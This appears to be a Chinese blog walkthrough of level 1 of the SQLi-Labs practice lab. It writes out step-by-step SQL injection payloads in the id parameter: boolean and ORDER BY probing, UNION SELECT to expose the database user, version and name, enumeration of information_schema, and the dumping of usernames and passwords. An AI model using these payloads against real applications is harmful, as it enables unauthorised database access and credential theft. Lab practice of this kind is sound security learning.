SQLi-Labs 是一个专业的SQL注入练习平台
学渗透已经有一年了,今天还是来刷一遍sql注入靶场吧!(具体的靶场安装过程我就不说了,网上教程有都是)
第一关:
打开第一关后,根据靶场设定get传参id=1,结果如图:

用传统方式判断$id是否有注入点
?id=1 and 1=1 --+ //--+或#为注释的意思,目的是注释掉后面的语句
?id=1 and 1=2 --+
发现当传参 ?id=1 and 1=2 --+ 时页面并没有预想中的报错,所以我们可能不是数字型的sql注入,那么我们判断是不是字符型注入。
?id=1' and 1=1 --+
?id=1' and 1=2 --+
发现当传参 ?id=1' and 1=2 --+ 时页面报错:

接下来,我们判断当前sql语句有几个字段
?id=1' order by 4 --+
当我们用 order by 猜测到4时发生报错

所以我们猜测字段数为3,我们查看下第一关的源码,看看我们的猜测是否正确。

因为源码中sql查询语句为 select * from users 所以我们无法从源码中看出表users到底有几个字段,那我们暂时认为我们的猜测是正确的。
现在,我们来看看字段的输出位置好方便我们接下来的sql注入。
?id=-1 union select 1,2,3 --+

我们可以看到输出点在第2个字段和第3个字段。
接下来,我们查询当前数据库的用户,当前数据库版本,代码如下:
?id=-1' union select 1,user(),@@version --+
查询结果如下:

接下来我们查询当前数据库名,代码如下:
?id=-1' union select 1,2,database() --+

查询到当前数据库名为 security 。因为当前mysql数据库版本大于5.0,所以可以借助 information_schema 来查询表名以及字段名。代码如下:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ //group_concat的意思是将结果以一行显示出来并且加上,间隔。
查询结果如下:

我们查询到当前数据库有4个表,我们查询users表,代码如下:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

我们查询下字段 username,password 里的内容,代码如下:
?id=-1' union select 1,username,password from security.users --+

我们查询到用户名和密码为Dumb,Dumb。
这就是sqli-labs靶场的第一关,都是比较基础的东西,也没什么需要好说的,只需要按照sql注入的流程去走就可以了,进行sql注入的时候比较重要的点是需要判断注入点的类型,如果是数字型的注入点就不需要单引号,具体注入视情况而定。